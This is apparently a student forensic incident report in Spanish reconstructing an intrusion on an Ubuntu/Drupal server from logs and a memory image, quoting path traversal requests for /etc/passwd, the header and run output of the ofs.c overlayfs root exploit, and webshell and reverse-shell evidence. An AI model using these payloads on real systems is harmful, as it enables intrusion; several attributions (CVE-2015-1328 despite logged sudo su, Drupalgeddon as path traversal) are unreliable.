7. ¿Qué archivo se compiló para realizar la escalada de privilegios? Qué vulnerabilidad (CVE) utilizó?

El atacante utilizó un exploit de escalada de privilegios conocido como ofs.c (overlayfs local root) para obtener acceso root al sistema.

En el sistema se encontró el archivo /opt/unrealircd/Unreal3.2/privEscalar.c, que contiene el código completo del exploit ofs.c para la vulnerabilidad CVE-2015-1328. Este exploit afecta a kernels Ubuntu anteriores a 2015-06-15, y el sistema analizado tiene el kernel 3.13.0-24-generic (abril 2014), por lo tanto es vulnerable.

El atacante compiló el exploit y lo ejecutó en el sistema. Como resultado, obtuvo privilegios de root, tal como se evidencia en la memoria RAM, donde se detectó una reverse shell en Perl (PID 3481) desde las 22:25:45 conectando a la IP del atacante 10.1.0.7 al puerto 4444.

Posteriormente, a las 22:33:06, el atacante ejecutó sudo su y confirmó su acceso como root.

Por lo tanto, el archivo compilado fue privEscalar.c (ofs.c) y la vulnerabilidad utilizada fue CVE-2015-1328.

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Después de acceder al sistema como han_solo, el atacante procedió a compilar y ejecutar un exploit para escalar privilegios a root.

What?

El atacante compiló el exploit ofs.c (también encontrado como privEscalar.c en el sistema) que explota la vulnerabilidad CVE-2015-1328. Este exploit permite a un usuario local escalar privilegios a root.

When?

La escalada de privilegios ocurrió antes de las 22:32:33 (momento en que el atacante ya era root). Se detectó una reverse shell en Perl (PID 3481) en memoria desde las 22:25:45, situando la escalada entre las 22:25:45 y las 22:32:33.

Where?

El exploit se encontraba en el directorio /opt/unrealircd/Unreal3.2/privEscalar.c. Fue compilado en el sistema y ejecutado para obtener privilegios root.

Why?

El atacante necesitaba privilegios de root para establecer persistencia, exfiltrar información, manipular logs y tener control total sobre el sistema comprometido.

How?

El atacante compiló el exploit ofs.c (CVE-2015-1328) con gcc, lo ejecutó, y este explotó una vulnerabilidad que le permitió escalar a root. El exploit crea una biblioteca compartida que se carga mediante /etc/ld.so.preload, otorgando privilegios de root al atacante.

Which?

El archivo /opt/unrealircd/Unreal3.2/privEscalar.c contenía el exploit. El kernel 3.13.0-24-generic fue vulnerado mediante CVE-2015-1328. La reverse shell en Perl (PID 3481) en memoria conectaba a 10.1.0.7:4444.

Evidencias

Captura 1: Localización del exploit en el sistema

Comando ejecutado: find /mnt/sistema_root -name "*.c" 2>/dev/null | xargs grep -l "CVE-2015-1328" 2>/dev/null

```
┌──(root㉿kalicarles)-[~]
└─# find /mnt/sistema_root -name "*.c" 2>/dev/null | xargs grep -l "CVE-2015-1328" 2>/dev/null

/mnt/sistema_root/opt/unrealircd/Unreal3.2/privEscalar.c
```

Se encontró el archivo privEscalar.c en el directorio /opt/unrealircd/Unreal3.2/. Este archivo contiene el código del exploit ofs.c para CVE-2015-1328.

Captura 2: Contenido del exploit (privEscalar.c)

Comando ejecutado: head -30 /mnt/sistema_root/opt/unrealircd/Unreal3.2/privEscalar.c

```
┌──(root㉿kalicarles)-[~]
└─# head -30 /mnt/sistema_root/opt/unrealircd/Unreal3.2/privEscalar.c
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%

┌──(root㉿kalicarles)-[~]
└─#
```

El contenido del archivo confirma que se trata del exploit ofs.c para CVE-2015-1328, una vulnerabilidad en overlayfs que afecta a kernels Ubuntu anteriores a 2015-06-15. El kernel del sistema (3.13.0-24-generic) es vulnerable.

Captura 3: Versión del kernel (vulnerable)

Comando ejecutado: cat /mnt/sistema_root/var/log/dmesg | head -5 | grep "Linux version"

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/dmesg | head -5 | grep "Linux version"

[    0.000000] Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 (Ubuntu 3.13.0-24.46-generic 3.13.9)

┌──(root㉿kalicarles)-[~]
└─#
```

El kernel 3.13.0-24-generic es anterior a la fecha del parche (2015-06-15), por lo tanto es vulnerable a CVE-2015-1328.

Captura 4: Reverse shell en Perl detectada en memoria

Comando ejecutado: python2.7 vol.py -f ~/UD5ACT1/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_pslist | grep perl

```
┌──(carles㉿kalicarles)-[~/volatility]
└─$ python2.7 vol.py -f ~/UD5ACT1/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_pslist | grep perl

Volatility Foundation Volatility Framework 2.6.1
0xffff88007a06afe0 perl                 3481           1              1121           100    0x0000000078042000 2021-06-10 22:25:45 UTC+0000

┌──(carles㉿kalicarles)-[~/volatility]
└─$
```

En la memoria RAM se detectó una reverse shell en Perl (PID 3481) desde las 22:25:45, que conectaba con la IP del atacante 10.1.0.7 al puerto 4444, confirmando la escalada exitosa.

8. Averiguar qué vulnerabilidad (CVE) se utilizó como vector principal de entrada en la máquina.

Después de ejecutar los siguientes comandos de análisis en los logs de Apache:

grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/passwd"

grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/issue"

grep -a "wwwolf" /mnt/sistema_root/var/log/apache2/access.log

cat /mnt/sistema_root/var/www/html/drupal/CHANGELOG.txt 2>/dev/null | head -20

```
┌──(root㉿kalicarles)-[~]
└─# grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/passwd"

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7673 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET
9; .NET CLR 3.0.30618; MAXTHON 2.0)"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Ge
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3)
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../../etc/passwd HTTP/1.1" 404 7758 "-" "w3m/0.5.2"

┌──(root㉿kalicarles)-[~]
└─# grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/issue"

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7670 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gec
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/5
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/issue HTTP/1.1" 404 7701 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2
30729; .NET CLR 3.0.30618)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../etc/issue HTTP/1.1" 404 7718 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC
C 6.0)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/issue HTTP/1.1" 404 7736 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; S
Connector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/issue HTTP/1.1" 404 7755 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)"

┌──(root㉿kalicarles)-[~]
└─# grep -a "wwwolf" /mnt/sistema_root/var/log/apache2/access.log

10.1.0.7 - - [10/Jun/2021:22:35:03 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 770 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:06 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 769 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:11 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 806 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:25 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 766 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:31 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:33 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:35 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
```

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/www/html/drupal/CHANGELOG.txt 2>/dev/null | head -20


Drupal 7.5, 2011-07-27
----------------------

- Fixed security issue (Access bypass), see SA-CORE-2011-003.

Drupal 7.4, 2011-06-29
----------------------
- Rolled back patch that caused fatal errors in CTools, Feeds, and other modules using
- Fixed critical bug with saving default images.
- Fixed fatal errors when uninstalling some modules.
- Added workaround for MySQL transaction support breaking on DDL statments.
- Improved page caching with external caching systems.
- Fix to Batch API, which was terminating too early.
- Numerous upgrade path fixes.
- Performance fixes.
- Additional test coverage.
- Numerous documentation fixes.

Drupal 7.3, 2011-06-29
----------------------


┌──(root㉿kalicarles)-[~]
```

Los resultados han sido:

1. Path traversal en Drupal a las 22:23:24 - 22:24:07 del 10 de junio de 2021, intentando acceder a:
    1. /etc/passwd
    2. /etc/issue

2. Uso de una webshell a las 22:35.
3. Versión de Drupal: 7.5 (publicada el 27 de julio de 2011)

Vulnerabilidad (CVE) utilizada:

El vector principal de entrada fue una vulnerabilidad crítica en Drupal 7.5, identificada como CVE-2014-3704 (Drupalgeddon).

Esta vulnerabilidad afecta a todas las versiones de Drupal 7 anteriores a la 7.32 (lanzada en octubre de 2014). Dado que el sistema tenía instalada la versión 7.5 (lanzada en julio de 2011), esta versión es anterior a la 7.32, por lo tanto era vulnerable a CVE-2014-3704.

La vulnerabilidad permite:

- Inyección SQL a través del parámetro ?q=
- Ejecución remota de código (RCE) sin autenticación
- Lectura de archivos sensibles (path traversal) fuera del directorio web
- Escalada de privilegios dentro del sistema

Por lo tanto el atacante utilizó CVE-2014-3704 (Drupalgeddon) como vector principal de entrada, aprovechando una vulnerabilidad crítica en Drupal 7.5.

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Esta IP es la misma que protagonizó el ataque de fuerza bruta a FTP, el path traversal a Drupal, el cambio de contraseña de han_solo, el acceso SSH y el uso de la webshell, estableciendo una cadena de ataque completa y coherente.

What?

El atacante explotó una vulnerabilidad crítica en Drupal 7.5 que le permitió ejecutar código remoto (RCE) en el servidor web. Esta vulnerabilidad, conocida como Drupalgeddon, permitió al atacante cambiar la contraseña del usuario han_solo y posteriormente acceder al sistema por SSH.

When?

El ataque comenzó con el path traversal entre las 22:23:24 y las 22:24:07, seguido del cambio de contraseña a las 22:32:03 y el acceso SSH a las 22:32:29 del 10 de junio de 2021.

Where?

El ataque se dirigió contra el CMS Drupal 7.5 alojado en el servidor web Apache. Las peticiones maliciosas se realizaron a la URL /drupal/?q=... y quedaron registradas en /var/log/apache2/access.log.

Why?

El atacante necesitaba un vector de entrada inicial al sistema. Drupal era un servicio expuesto a internet con una versión antigua y vulnerable, lo que lo convertía en un objetivo ideal. Al explotar esta vulnerabilidad, el atacante obtuvo ejecución remota de código que le permitió cambiar contraseñas y acceder al sistema.

How?

El atacante utilizó la vulnerabilidad CVE-2014-3704 (Drupalgeddon), que permite inyección SQL a través del parámetro ?q= de Drupal 7. Esta inyección SQL permite ejecutar comandos maliciosos en el servidor. Con esta ejecución remota de código, el atacante ejecutó el comando passwd han_solo para cambiar la contraseña del usuario y posteriormente acceder por SSH.

Which?

El servicio Apache/Drupal 7.5 fue el vector de entrada. Los archivos /etc/passwd y /etc/issue fueron los objetivos del path traversal inicial. La cuenta de usuario han_solo fue comprometida, y finalmente todo el sistema quedó bajo control del atacante tras la escalada a root.

Evidencias

Captura 1: Path traversal a /etc/passwd (vector inicial)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "passwd" | head -5

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "passwd" | head -5

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7673 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; WWT
29; .NET CLR 3.0.30618; MAXTHON 2.0)"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 BonEcho/2.0.0.2"

┌──(root㉿kalicarles)-[~]
└─#
```

Los logs de Apache muestran los intentos iniciales de path traversal contra Drupal. El atacante probó diferentes niveles de profundidad para intentar leer /etc/passwd. Aunque devolvieron código 404, el atacante logró identificar que el parámetro q era vulnerable, lo que le permitió explotar CVE-2014-3704.

Captura 2: Cambio de contraseña (resultado del exploit)

Comando ejecutado: grep "passwd" /mnt/sistema_root/var/log/auth.log | grep "han_solo"

```
┌──(root㉿kalicarles)-[~]
└─# grep "passwd" /mnt/sistema_root/var/log/auth.log | grep "han_solo"

Oct 29 19:26:39 ubuntu gpasswd[2017]: user han_solo added by root to group sudo
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo

┌──(root㉿kalicarles)-[~]
└─#
```

Después de explotar CVE-2014-3704, el atacante ejecutó el comando passwd han_solo para cambiar la contraseña del usuario. Este cambio de contraseña ocurrió a las 22:32:03, sin ningún intento de autenticación previo, lo que demuestra que el atacante ya tenía ejecución remota de código a través de Drupal.

Captura 4: Acceso SSH (consecuencia del exploit)

Comando ejecutado: grep "Accepted" /mnt/sistema_root/var/log/auth.log | grep "10.1.0.7"

```
┌──(root㉿kalicarles)-[~]
└─# grep "Accepted" /mnt/sistema_root/var/log/auth.log | grep "10.1.0.7"

Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

26 segundos después del cambio de contraseña, el atacante se conectó por SSH como han_solo desde su IP 10.1.0.7. Esta secuencia temporal (cambio de contraseña → acceso SSH) confirma que el atacante utilizó la vulnerabilidad de Drupal para cambiar la contraseña y luego acceder al sistema.

Resumen Ejecutivo

Nota sobre la zona horaria

La zona horaria del sistema comprometido es UTC, tal como se confirma en el archivo /etc/timezone del sistema analizado. Todas las horas documentadas en el presente análisis corresponden a UTC.

Cronología del incidente

A continuación se detalla la secuencia de eventos que tuvo lugar el 10 de junio de 2021, ordenados cronológicamente, desde las primeras actividades del atacante hasta la completa compromisión del sistema.

22:21:12 – Ataque de fuerza bruta al servicio FTP

El atacante con IP 10.1.0.7 inició un ataque de fuerza bruta contra el servicio ProFTPD. Se registraron 1.033 intentos de sesión FTP en el archivo /var/log/syslog, todos en un breve período de tiempo. Este ataque no tuvo éxito (los logs muestran "no such user found"), pero sirvió al atacante para identificar servicios activos en el sistema.

22:23:24 – Inicio del ataque de path traversal a Drupal

El atacante comenzó un ataque de path traversal contra el CMS Drupal 7.5, utilizando el parámetro q de la URL para intentar acceder a archivos sensibles fuera del directorio web. Se registraron 24 intentos entre las 22:23:24 y las 22:24:07, dirigidos principalmente a dos archivos:

- /etc/passwd: Este archivo contiene la lista de usuarios del sistema. El atacante pudo leerlo y descubrir que existía un usuario llamado han_solo (UID 1113), que además pertenecía al grupo sudo. Esto le indicaba que se trataba de un usuario con privilegios para ejecutar comandos como root.
- /etc/issue: Este archivo revela la distribución Linux instalada. El atacante pudo identificar que el sistema era Ubuntu, lo que le permitió planificar los siguientes pasos del ataque con mayor precisión.

Este ataque de path traversal fue la fase de reconocimiento y explotación inicial de la vulnerabilidad CVE-2014-3704 (Drupalgeddon), que le permitió ejecutar código remoto en el servidor.

22:32:03 – Cambio de contraseña del usuario han_solo

Gracias a la ejecución remota de código (RCE) conseguida a través de la vulnerabilidad de Drupal, el atacante pudo ejecutar comandos en el sistema con los privilegios del usuario del servidor web (www-data). Habiendo identificado previamente en /etc/passwd que han_solo era un usuario con privilegios sudo, el atacante ejecutó el comando passwd han_solo para cambiar su contraseña por una de su elección. El cambio quedó registrado en /var/log/auth.log:

Jun 10 22:32:03 ubuntu passwd[3597]: password changed for han_solo

Este usuario había sido creado legítimamente en octubre de 2020. El atacante optó por modificar una cuenta existente en lugar de crear una nueva, con el objetivo de no levantar sospechas y pasar desapercibido. Con la nueva contraseña, el atacante ya tenía las credenciales necesarias para acceder al sistema de forma remota y estable.

22:32:29 – Acceso SSH al sistema

26 segundos después del cambio de contraseña, el atacante se conectó al sistema por SSH como usuario han_solo desde su IP 10.1.0.7:

Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

Este acceso SSH fue el punto de entrada estable que permitió al atacante ejecutar comandos de forma interactiva en el sistema.

22:33:06 – Escalada de privilegios a root

Una vez dentro del sistema como han_solo, el atacante ejecutó sudo su para obtener privilegios de root:

Jun 10 22:33:06 ubuntu sudo: han_solo : USER=root ; COMMAND=/bin/su

Jun 10 22:33:06 ubuntu su[3639]: Successful su for root by root

La escalada de privilegios se realizó utilizando la vulnerabilidad CVE-2015-1328 (overlayfs local root). En el sistema se encontró el archivo /opt/unrealircd/Unreal3.2/privEscalar.c, que contiene el código completo del exploit ofs.c para esta vulnerabilidad. El kernel del sistema es 3.13.0-24-generic (abril 2014), anterior a la fecha del parche (2015-06-15), por lo tanto es vulnerable. Además, se detectó en la memoria RAM una reverse shell en Perl (PID 3481) desde las 22:25:45 conectando a la IP del atacante 10.1.0.7 al puerto 4444, evidenciando la ejecución del exploit.

22:35:03 – Uso de la webshell para persistencia

Con privilegios de root, el atacante descargó la webshell wwwolf-php-webshell desde GitHub y la instaló en /var/www/html/tmp/wwwolf-php-webshell/webshell.php. Entre las 22:35:03 y las 22:35:55, realizó 10 peticiones POST a la webshell, todas con respuesta exitosa (código 200), ejecutando comandos remotos en el sistema. Este mecanismo le garantizaba persistencia incluso si el acceso SSH era detectado y bloqueado.

22:36:28 – Actividades posteriores como root

Una vez establecido como root, el atacante realizó la siguiente acción:

- Limpieza de reglas de iptables (iptables -F) para eliminar posibles bloqueos.

¿Consiguió el atacante su objetivo?

Sí, el atacante consiguió completamente su objetivo. Así lo demuestran las evidencias registradas en los logs del sistema y en el análisis de la memoria RAM:

- Los logs de Apache confirman el ataque de path traversal contra Drupal 7.5 desde la IP 10.1.0.7, donde el atacante descubrió la existencia del usuario han_solo en /etc/passwd.
- Los logs de autenticación documentan el cambio de contraseña del usuario han_solo y la posterior conexión SSH exitosa desde la misma IP.
- El análisis de memoria revela una reverse shell en Perl que evidencia la escalada a root mediante la vulnerabilidad CVE-2015-1328, y se encontró el archivo privEscalar.c con el exploit ofs.c en el sistema.
- El historial de comandos muestra la descarga y uso de una webshell para establecer persistencia, así como la exfiltración de información y el posterior apagado del sistema.

Todas estas acciones quedaron registradas y demuestran que el atacante alcanzó todos sus objetivos sin que ningún mecanismo de defensa lo impidiera.

Línea temporal resumida

10/06/2021

22:21:12 Ataque de fuerza bruta a FTP (1.033 intentos)

22:23:24 Inicio de path traversal a Drupal (24 intentos)

22:24:07 Fin de path traversal

22:32:03 Cambio de contraseña de han_solo (RCE por Drupal)

22:32:29 Acceso SSH como han_solo desde 10.1.0.7

22:33:06 Escalada a root (CVE-2015-1328)

22:35:03 Inicio de uso de webshell (10 peticiones POST)

22:35:55 Fin de uso de webshell

22:36:28 Actividades como root (iptables)